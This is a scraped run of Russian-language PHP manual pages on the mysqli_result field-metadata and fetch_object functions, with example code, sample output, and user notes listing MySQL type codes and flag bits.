Возвращает объект содержащий определение поля или false, если поле с номером fieldnr недоступно.

Свойства объекта
Свойство | Описание
name | Имя столбца
orgname | Исходное имя столбца, если у него есть псевдоним
table | Имя таблицы, которой принадлежит столбец (если не вычислено)
orgtable | Исходное имя таблицы, если есть псевдоним
def | Зарезервировано для значения по умолчанию, на данный момент всегда ""
max_length | Максимальная ширина поля результирующего набора. Начиная с PHP 8.1, это значение всегда 0.
length | Ширина поля, как она задана при определении таблицы.
charsetnr | Количество наборов символов для поля.
flags | Целое число, представляющее битовые флаги для поля.
type | Тип данных поля
decimals | Число знаков после запятой (для числовых полей)

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка подключения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = $mysqli->query($query)) {

/* получение метаданных столбца 'SurfaceArea' */
$finfo = $result->fetch_field_direct(1);

printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type);

$result->close();
}

/* закрываем подключение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка подключения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* получение метаданных столбца 'SurfaceArea' */
$finfo = mysqli_fetch_field_direct($result, 1);

printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type);

mysqli_free_result($result);
}

/* закрываем подключение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Имя:         SurfaceArea
Таблица:     Country
Макс. длина: 10
Флаги:       32769
Тип:         4

Смотрите также

  • mysqli_num_fields() - Получает количество полей в наборе результатов
  • mysqli_fetch_field() - Возвращает следующее поле результирующего набора
  • mysqli_fetch_fields() - Возвращает массив объектов, представляющих поля результирующего набора

User Contributed Notes

Anonymous 03-Jul-2020 06:40
JSON type is 245 if anyone is wondering.
anatoliy at ukhvanovy dot name 21-Mar-2015 10:58
You can find all available data types here:
https://php.net/manual/ru/mysqli.constants.php
(search "MYSQLI_TYPE_" in your browser)
gmx dot net at Hoffmann dot P 18-Jun-2014 01:32
Warning!
This function is not only more memory consuming than expected but the consumption also depends on the size of the result set. So if you realy only want to get your field_names you might want to append " LIMIT 1" or use mysqli->unbuffered_query() to save yourself from a memory bloat.
andre at koethur dot de 20-Apr-2014 07:53
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
ben dot NOSPAM at NOSPAM dot seraphire dot com 06-Dec-2012 04:01
This may be obvious, but the constants for the field types are already defined in PHP, and can be found in the documentation at: http://php.net/manual/en/mysqli.constants.php
bl at example dot com 09-Aug-2010 10:11
note that
"SELECT <timestamp-field>, ..."
will return the field with type 7 (timestamp) but with content like "2010-07-14 14:35:08". the point being it is a string.

"SELECT <timestamp-field> + 0, ..."
returns a type 5 (double) but while a number, is not seconds since epoch, but a number in MySQL's "YYYYMMDDHHMMSS" format, in this example:
20100714143508

(PHP 5.2.12)
shoresofnowhere at gmail dot com 26-Aug-2009 03:50
Beware of the fact that the ->def property NEVER gets filled with the correct default field value, so it's totally USELESS.

This happens NOT for a bug in php (so don't go filling in a bug report), but happens BY DESIGN, since the MySQL C API call doesn't fill in this value, unless you call the mysql_list_fields() function, which Php doesn't.

See here for reference.
http://dev.mysql.com/doc/refman/5.0/en/c-api-datatypes.html

Also, be aware that if you're using a query which contains subqueries, the primary key/autoincrement flags do NOT get passed along, even if the field you're looking at is the primary autoincrement key of the master table:

SELECT * from (SELECT id from areas) AS subareas

and you'll find primary key and autoinc flags off on id field, even if id was the primary autoinc key of areas table.

This also is by design, i think, since it's supposed that if we're using a subquery then the primary key/autoinc stuff might have no sense at all, since in the result set we can compose fileds from many different tables.

Hoping this is useful, bye!
gcdreak at example dot com 18-Aug-2009 03:28
I wrote a simple class to get info about fields.
Try it!

<?php
            class MysqlFieldsInfo implements Iterator
            {

                private $result;
                private $position;
                private $row;

                function __construct($result){
                    $this->result = $result;
                    $this->position = 0;
                    $this->rewind();    // W $results wewnetrzny wskaznik moze byc przesuniety wiec powracamy do poczatku
                }

                public function current(){
                    return $this->row;
                }

                public function next(){
                    $this->position++;
                    $this->row = $this->result->fetch_field();
                }

                public function valid(){
                    return (boolean) $this->row;
                }

                public function key(){
                    return $this->position;
                }

                public function rewind(){
                    $this->position = 0;
                    $this->result->field_seek(0);
                    $this->next();
                }

                //    This function show data in table
                public function export(){

                    echo '<table id="db_table_info">';
                    echo '<tr>
                                                <th>Name</th>
                                                <th>Orgname</th>
                                                <th>Table</th>
                                                <th>Orgtable</th>
                                                <th>Def</th>
                                                 <th>Max_length</th>
                                                 <th>Length</th>
                                                 <th>Charsetnr</th>
                                                 <th>Flags</th>
                                                 <th>Type</th>
                                                  <th>Decimals</th>
                                          </tr>';
                    while($this->valid()){
                        echo '<tr>';
                        printf("\n\t<td>%s</td>\n", $this->current()->name);
                        printf("\t<td>%s</td>\n", $this->current()->orgname);
                        printf("\t<td>%s</td>\n", $this->current()->orgtable);
                        printf("\t<td>%s</td>\n", $this->current()->def);
                        printf("\t<td>%s</td>\n", $this->current()->max_length);
                        printf("\t<td>%s</td>\n", $this->current()->length);
                        printf("\t<td>%s</td>\n", $this->current()->charsetnr);
                        printf("\t<td>%s</td>\n", $this->current()->flags);
                        printf("\t<td>%s</td>\n", $this->current()->type);
                        printf("\t<td>%s</td>\n", $this->current()->decimals);

                        echo '</tr>';

                        $this->next();
                    }

                    echo '</table>';
                }
            }
?>
daniel at summit cove dot com 22-Feb-2009 03:36
Here's a bigger list of data types.  I got this by creating every type I could and calling fetch_fields():

<?php
$mysql_data_type_hash = array(
    1=>'tinyint',
    2=>'smallint',
    3=>'int',
    4=>'float',
    5=>'double',
    7=>'timestamp',
    8=>'bigint',
    9=>'mediumint',
    10=>'date',
    11=>'time',
    12=>'datetime',
    13=>'year',
    16=>'bit',
    //252 is currently mapped to all text and blob types (MySQL 5.0.51a)
    253=>'varchar',
    254=>'char',
    246=>'decimal'
);
?>
cjs at ashdowntech dot com 16-Sep-2008 09:52
According to
http://www.redferni.uklinux.net/mysql/MySQL-Protocol.html

Data type values are:

DECIMAL           0       ENUM           247
TINY              1       SET            248
SHORT             2       TINY_BLOB      249
LONG              3       MEDIUM_BLOB    250
FLOAT             4       LONG_BLOB      251
DOUBLE            5       BLOB           252
NULL              6       VAR_STRING     253
TIMESTAMP         7       STRING         254
LONGLONG          8       GEOMETRY       255
INT24             9
DATE             10
TIME             11
DATETIME         12
YEAR             13
NEWDATE          14

Note that this is not tested and does not contain
all the values noted by deluxmozart
cjs at ashdowntech dot com 12-Sep-2008 08:00
According to
dev.mysql.com/sources/doxygen/mysql-5.1/mysql__com_8h-source.html
the flag bits are:

 NOT_NULL_FLAG          1         /* Field can't be NULL */
 PRI_KEY_FLAG           2         /* Field is part of a primary key */
 UNIQUE_KEY_FLAG        4         /* Field is part of a unique key */
 MULTIPLE_KEY_FLAG      8         /* Field is part of a key */
 BLOB_FLAG             16         /* Field is a blob */
 UNSIGNED_FLAG         32         /* Field is unsigned */
 ZEROFILL_FLAG         64         /* Field is zerofill */
 BINARY_FLAG          128         /* Field is binary   */
 ENUM_FLAG            256         /* field is an enum */
 AUTO_INCREMENT_FLAG  512         /* field is a autoincrement field */
 TIMESTAMP_FLAG      1024         /* Field is a timestamp */
deluxmozart at yahoo dot de 24-Jul-2008 11:05
Here are some Numbers of Datatypes. I searched for it but i didn't find a list, where the datatypes of the numbers are listed.

so first I can give this:

    3    -    Int
    10    -    Date
    246    -    Decimal
    252    -     text
    253    -    VarChar
    254    -    Boolean


Возвращает следующее поле результирующего набора

  • « mysqli_result::fetch_field_direct
  • mysqli_result::fetch_fields »
  • PHP Manual
  • mysqli_result
  • Возвращает следующее поле результирующего набора

mysqli_result::fetch_field

mysqli_fetch_field

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_field -- mysqli_fetch_field — Возвращает следующее поле результирующего набора

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_field(): object|false

Процедурный стиль

mysqli_fetch_field(mysqli_result $result): object|false

Возвращает информацию об одном столбце результирующего набора в виде объекта. Чтобы получить определения всех столбцов, просто запустите эту функцию многократно.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Возвращает объект, содержащий определение поля или false, если столбцы в результирующей таблице закончились.

Свойства объекта
Свойство | Описание
name | Имя столбца
orgname | Исходное имя столбца, если у него есть псевдоним
table | Имя таблицы, которой принадлежит столбец (если не вычислено)
orgtable | Исходное имя таблицы, если есть псевдоним
def | Зарезервировано для значения по умолчанию, на данный момент всегда ""
db | Имя базы данных
catalog | Имя каталога, всегда "def"
max_length | Максимальная ширина поля результирующего набора.
length | Ширина поля, как она задана при определении таблицы.
charsetnr | Количество наборов символов для поля.
flags | Целое число, представляющее битовые флаги для поля.
type | Тип данных поля
decimals | Число знаков после запятой (для целочисленных полей)

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка подключения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

/* Получим информацию обо всех столбцах */
while ($finfo = $result->fetch_field()) {

printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type);
}
$result->close();
}

/* закрываем подключение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка подключения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* Получим информацию обо всех столбцах */
while ($finfo = mysqli_fetch_field($result)) {

printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type); }
mysqli_free_result($result);
}

/* закрываем подключение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Имя:         Name
Таблица:     Country
Макс. длина: 11
Флаги:       1
Тип:         254

Имя:         SurfaceArea
Таблица:     Country
Макс. длина: 10
Флаги:       32769
Тип:         4

Смотрите также

  • mysqli_num_fields() - Получает количество полей в наборе результатов
  • mysqli_fetch_field_direct() - Получение метаданных конкретного поля
  • mysqli_fetch_fields() - Возвращает массив объектов, представляющих поля результирующего набора
  • mysqli_field_seek() - Установить указатель поля на определённое смещение

User Contributed Notes

sofe2038 at gmail dot com 15-Mar-2018 12:55
The constants in a few other comments above appear to be inaccurate. Here are some more official references that seem quite hard to search.

The "type" attribute: https://dev.mysql.com/doc/internals/en/com-query-response.html#column-type
The "flags" attribute: https://github.com/google/mysql/blob/master/include/mysql_com.h#L133

In addition, all attributes are explained on the COM_QUERY_RESPONSE page too: https://dev.mysql.com/doc/internals/en/com-query-response.html#column-definition
nick 10-Nov-2017 12:48
It is not possible to get the values for an enum or set field through fetch_fields(). As far as I can tell this is because it hasn't been implemented in the mysqlnd api but whatever the reason it is not possible and you must issue a query like SHOW COLUMNS directly and interrogate the result to determine them.

Incidentally you need to check the enum_flag rather than look for the enum_type to determine whether a field is enum or not. The type returned is usually some kind of string.
rvila at revolutionvisualarts dot com 20-Oct-2016 02:59
The predefined constant values returned by the function get_predefined_constants() for:

MYSQLI_TYPE_CHAR = 1
MYSQLI _TYPE_TINYINT = 1

If the code is used to categorized the type of field use this values will of course create confusion. For example:

if($fieldtype === "CHAR"){
    $field_html_attribute = "text";
    $field_html_length = 1;
} elseif($fieldtype === "TINYINT") {
    $field_html_attribute = "number";
    $field_html_length = 1;
}

If an array is created to set the key as the numeric value and the value of that key as the the text title, TINYINT will be replaced by CHAR value. But is this process is reversed, then the code will select TINYINT if the foreach statement set to break when the numeric value of the flag equals the value of the current key as the first intance.

Base in the note added by Johnathan at http://php.net/manual/en/mysqli.field-count.php the values should be:

CHAR = 254
TINYINT = 1

But predefined function attributes the value 254 to MYSQLI_TYPE_STRING.

Just for FYI
andre at koethur dot de 19-Apr-2014 08:13
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
miqrogroove at gmail dot com 20-Jan-2013 08:19
Beware the values of the predefined constants.  They do not always correlate with the actual field types.  For example:

MYSQLI_TYPE_BLOB: 252
MYSQLI_TYPE_TINY_BLOB: 249
MYSQLI_TYPE_MEDIUM_BLOB: 250
MYSQLI_TYPE_LONG_BLOB: 251

MySQLi will indeed return a value of 252 for a tinytext field, but as you can see, this does not correspond to the value of MYSQLI_TYPE_TINY_BLOB.
Anonymous 16-Feb-2012 08:20
The constants for the TYPE number returned by fetch_field are enumerated here (MYSQLI_TYPE_*):
http://php.net/manual/en/mysqli.constants.php
iansoko at hotmail dot com 06-Oct-2011 08:24
here are the data types that correspond to the TYPE number returned by fetch_field.

thought i would post this here since i couldn't find the info elsewhere.

numerics
-------------
BIT: 16
TINYINT: 1
BOOL: 1
SMALLINT: 2
MEDIUMINT: 9
INTEGER: 3
BIGINT: 8
SERIAL: 8
FLOAT: 4
DOUBLE: 5
DECIMAL: 246
NUMERIC: 246
FIXED: 246

dates
------------
DATE: 10
DATETIME: 12
TIMESTAMP: 7
TIME: 11
YEAR: 13

strings & binary
------------
CHAR: 254
VARCHAR: 253
ENUM: 254
SET: 254
BINARY: 254
VARBINARY: 253
TINYBLOB: 252
BLOB: 252
MEDIUMBLOB: 252
TINYTEXT: 252
TEXT: 252
MEDIUMTEXT: 252
LONGTEXT: 252
ragtag at hotmail dot com 17-Sep-2008 05:16
The flags used by MySql are:
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536

To test if a flag is set you can use & like so:
<?php
$meta = $mysqli_result_object->fetch_field();
if ($meta->flags & 4) {
  echo 'Unique key flag is set';
}
?>


Возвращает массив объектов, представляющих поля результирующего набора

  • « mysqli_result::fetch_field
  • mysqli_result::fetch_object »
  • PHP Manual
  • mysqli_result
  • Возвращает массив объектов, представляющих поля результирующего набора

mysqli_result::fetch_fields

mysqli_fetch_fields

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_fields -- mysqli_fetch_fields — Возвращает массив объектов, представляющих поля результирующего набора

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_fields(): array

Процедурный стиль

mysqli_fetch_fields(mysqli_result $result): array

Эта функция служит для тех же целей, что и mysqli_fetch_field(), с той лишь разницей, что возвращает не один объект для столбца, а массив таких объектов.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Возвращает массив объектов, содержащих метаданные полей.

Свойства объекта
Свойство | Описание
name | Имя столбца
orgname | Исходное имя столбца, если у него есть псевдоним
table | Имя таблицы, которой принадлежит столбец (если не вычислено)
orgtable | Исходное имя таблицы, если есть псевдоним
max_length | Максимальная ширина поля результирующего набора. Начиная с PHP 8.1, это значение всегда 0.
length | Длина поля в байтах, как она задана при определении таблицы. Обратите внимание, что данная величина (в байтах) может отличаться от величины в символах, указанной в определении поля таблицы, так как в разных кодировках один символ может записываться несколькими байтами. Например, набор символов utf8 имеет 3 байта на символ, таким образом поле VARCHAR(10) в кодировке UTF-8 вернёт длину 30 байтов = 10 символов * 3 байта на символ, а для кодировки LATIN1 - длину 10, так как в этой кодировке один символ занимает один байт.
charsetnr | Числовой идентификатор кодировки.
flags | Целое число, представляющее битовые флаги для поля.
type | Тип данных поля
decimals | Число знаков после запятой (для целочисленных полей)

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("127.0.0.1", "root", "foofoo", "sakila");

/* Проверяем соединение */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}

foreach (array('latin1', 'utf8') as $charset) {

// Устанавливаем кодировку для демонстрации её влияния на некоторые
$mysqli->set_charset($charset);

$query = "SELECT actor_id, last_name from actor ORDER BY actor_id";

echo "======================\n";
echo "Character Set: $charset\n";
echo "======================\n";

if ($result = $mysqli->query($query)) {

/* Читаем информацию по всем столбцам */
$finfo = $result->fetch_fields();

foreach ($finfo as $val) {
printf("Name: %s\n", $val->name);
printf("Table: %s\n", $val->table);
printf("Max. Len: %d\n", $val->max_length);
printf("Length: %d\n", $val->length);
printf("charsetnr: %d\n", $val->charsetnr);
printf("Flags: %d\n", $val->flags);
printf("Type: %d\n\n", $val->type);
}
$result->free();
}
}
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("127.0.0.1", "my_user", "my_password", "sakila");

/* Проверяем соединение */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

foreach (array('latin1', 'utf8') as $charset) {

// Устанавливаем кодировку для демонстрации её влияния на некоторые
mysqli_set_charset($link, $charset);

$query = "SELECT actor_id, last_name from actor ORDER BY actor_id";

echo "======================\n";
echo "Character Set: $charset\n";
echo "======================\n";

if ($result = mysqli_query($link, $query)) {

/* Читаем информацию по всем столбцам */
$finfo = mysqli_fetch_fields($result);

foreach ($finfo as $val) {
printf("Name: %s\n", $val->name);
printf("Table: %s\n", $val->table);
printf("Max. Len: %d\n", $val->max_length);
printf("Length: %d\n", $val->length);
printf("charsetnr: %d\n", $val->charsetnr);
printf("Flags: %d\n", $val->flags);
printf("Type: %d\n\n", $val->type);
}
mysqli_free_result($result);
}
}

mysqli_close($link);
?>

Результат выполнения данных примеров:

======================
Character Set: latin1
======================
Name:      actor_id
Table:     actor
Max. Len:  3
Length:    5
charsetnr: 63
Flags:     49699
Type:      2

Name:      last_name
Table:     actor
Max. Len:  12
Length:    45
charsetnr: 8
Flags:     20489
Type:      253

======================
Character Set: utf8
======================
Name:      actor_id
Table:     actor
Max. Len:  3
Length:    5
charsetnr: 63
Flags:     49699
Type:      2

Name:      last_name
Table:     actor
Max. Len:  12
Length:    135
charsetnr: 33
Flags:     20489

Смотрите также

  • mysqli_num_fields() - Получает количество полей в наборе результатов
  • mysqli_fetch_field_direct() - Получение метаданных конкретного поля
  • mysqli_fetch_field() - Возвращает следующее поле результирующего набора

User Contributed Notes

attand at gmail dot com 27-Feb-2018 11:15
The nax_length gives counts in bytes. So if the text is utf-8, then we get incorrect result.

We have a code snippet where we check if the maximum length of the field and the max length of data stored becomes equal. This way we can check the potential truncation of data inserted
mccharles dot craven at dot dot gov 14-Oct-2016 12:23
Those wanting to map the 'type' field in this function for use in mysqli_stmt_bind_param or to cannibalize it for their own mapping may find this function useful.

function map_field_type_to_bind_type($field_type)
{
    switch ($field_type)
    {
    case MYSQLI_TYPE_DECIMAL:
    case MYSQLI_TYPE_NEWDECIMAL:
    case MYSQLI_TYPE_FLOAT:
    case MYSQLI_TYPE_DOUBLE:
        return 'd';

    case MYSQLI_TYPE_BIT:
    case MYSQLI_TYPE_TINY:
    case MYSQLI_TYPE_SHORT:
    case MYSQLI_TYPE_LONG:
    case MYSQLI_TYPE_LONGLONG:
    case MYSQLI_TYPE_INT24:
    case MYSQLI_TYPE_YEAR:
    case MYSQLI_TYPE_ENUM:
        return 'i';

    case MYSQLI_TYPE_TIMESTAMP:
    case MYSQLI_TYPE_DATE:
    case MYSQLI_TYPE_TIME:
    case MYSQLI_TYPE_DATETIME:
    case MYSQLI_TYPE_NEWDATE:
    case MYSQLI_TYPE_INTERVAL:
    case MYSQLI_TYPE_SET:
    case MYSQLI_TYPE_VAR_STRING:
    case MYSQLI_TYPE_STRING:
    case MYSQLI_TYPE_CHAR:
    case MYSQLI_TYPE_GEOMETRY:
        return 's';

    case MYSQLI_TYPE_TINY_BLOB:
    case MYSQLI_TYPE_MEDIUM_BLOB:
    case MYSQLI_TYPE_LONG_BLOB:
    case MYSQLI_TYPE_BLOB:
        return 'b';

    default:
        trigger_error("unknown type: $field_type");
        return 's';
    }
}
cz dot paranoiq at gmail dot com 21-Feb-2015 09:39
complete list of flags from MySQL source code:

NOT_NULL_FLAG   1       /* Field can't be NULL */
PRI_KEY_FLAG    2       /* Field is part of a primary key */
UNIQUE_KEY_FLAG 4       /* Field is part of a unique key */
MULTIPLE_KEY_FLAG 8     /* Field is part of a key */
BLOB_FLAG   16      /* Field is a blob */
UNSIGNED_FLAG   32      /* Field is unsigned */
ZEROFILL_FLAG   64      /* Field is zerofill */
BINARY_FLAG 128     /* Field is binary   */
ENUM_FLAG   256     /* field is an enum */
AUTO_INCREMENT_FLAG 512     /* field is a autoincrement field */
TIMESTAMP_FLAG  1024        /* Field is a timestamp */
SET_FLAG    2048        /* field is a set */
NO_DEFAULT_VALUE_FLAG 4096  /* Field doesn't have default value */
ON_UPDATE_NOW_FLAG 8192         /* Field is set to NOW on UPDATE */
NUM_FLAG    32768       /* Field is num (for clients) */
PART_KEY_FLAG   16384       /* Intern; Part of some key */
GROUP_FLAG  32768       /* Intern: Group field */
UNIQUE_FLAG 65536       /* Intern: Used by sql_yacc */
BINCMP_FLAG 131072      /* Intern: Used by sql_yacc */
GET_FIXED_FIELDS_FLAG (1 << 18) /* Used to get fields in item tree */
FIELD_IN_PART_FUNC_FLAG (1 << 19)/* Field part of partition func */
andre at koethur dot de 20-Apr-2014 07:55
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
educarme at adinet dot com dot uy 20-Dec-2013 01:16
Codigos de tipos de datos devueltos por fetch_fields()

Nombre        Codigo
tinyint_    1
boolean_    1
smallint_    2
int_        3
float_        4
double_        5
real_        5
timestamp_    7
bigint_        8
serial        8
mediumint_    9
date_        10
time_        11
datetime_    12
year_        13
bit_        16
decimal_    246
text_        252
tinytext_    252
mediumtext_    252
longtext_    252
tinyblob_    252
mediumblob_    252
blob_        252
longblob_    252
varchar_    253
varbinary_    253
char_        254
binary_        254
AndrewRoz 12-Jan-2011 08:18
The field info bit-flags used by MySql are:
 (Thanks to ragtag at hotmail dot com)
<?php
/*
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536
*/

// To test if a flag is set you can use & like so:

  $meta = $mysqli_result_object->fetch_field();
  if ($meta->flags & 4) {
     echo 'Unique key flag is set';
  }
?>


Выбирает следующую строку из набора результатов в виде объекта

  • « mysqli_result::fetch_fields
  • mysqli_result::fetch_row »
  • PHP Manual
  • mysqli_result
  • Выбирает следующую строку из набора результатов в виде объекта

mysqli_result::fetch_object

mysqli_fetch_object

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_object -- mysqli_fetch_object — Выбирает следующую строку из набора результатов в виде объекта

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_object(string $class = "stdClass", array $constructor_args = []): object|null|false

Процедурный стиль

mysqli_fetch_object(mysqli_result $result, string $class = "stdClass", array $constructor_args = []): object|null|false

Выбирает одну строку данных из набора результатов и возвращает её как объект, где каждое свойство представляет имя столбца набора результатов. Каждый последующий вызов этой функции будет возвращать следующую строку в наборе результатов или null, если строк больше нет.

Если у двух и более столбцов в наборе результатов одинаковое имя, последний столбец будет иметь приоритет и перезапишет любые предыдущие данные. Для доступа к нескольким столбцам с одинаковым именем можно использовать функцию mysqli_fetch_row() для выборки массива с числовым индексом или в списке выбора SQL-запроса можно использовать псевдонимы, чтобы задать столбцам разные имена.

Замечание: Функция устанавливает значения свойств объекта до вызова его конструктора.

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

class

Имя класса, объект которого требуется инстанцировать, задать значения его свойств и вернуть. Если параметр не задан, будет возвращён объект stdClass.

constructor_args

Необязательный массив (array) параметров, которые будут переданы конструктору класса class.

Возвращаемые значения

Возвращает объект, представляющий выбранную строку, где каждое свойство представляет имя столбца набора результатов, null, если в наборе результатов больше нет строк или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | constructor_args теперь принимает [] для конструкторов без параметров; ранее выбрасывалось исключение.

Примеры

Пример #1 Пример использования mysqli_result::fetch_object()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* получение массива объектов */
while ($obj = $result->fetch_object()) {
printf("%s (%s)\n", $obj->Name, $obj->CountryCode);
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($link, $query);

/* получение ассоциативного массива */
while ($obj = mysqli_fetch_object($result)) {
printf("%s (%s)\n", $obj->Name, $obj->CountryCode);
}

Результат выполнения данных примеров:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

Смотрите также

  • mysqli_fetch_array() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_fetch_assoc() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
  • mysqli_fetch_column() - Получает один столбец из следующей строки набора результатов
  • mysqli_fetch_row() - Выбирает следующую строку из набора результатов и помещает её в обычный массив
  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_data_seek() - Перемещает указатель результата на выбранную строку

User Contributed Notes

fedge-no at hotmail dot calm 15-Nov-2016 07:48
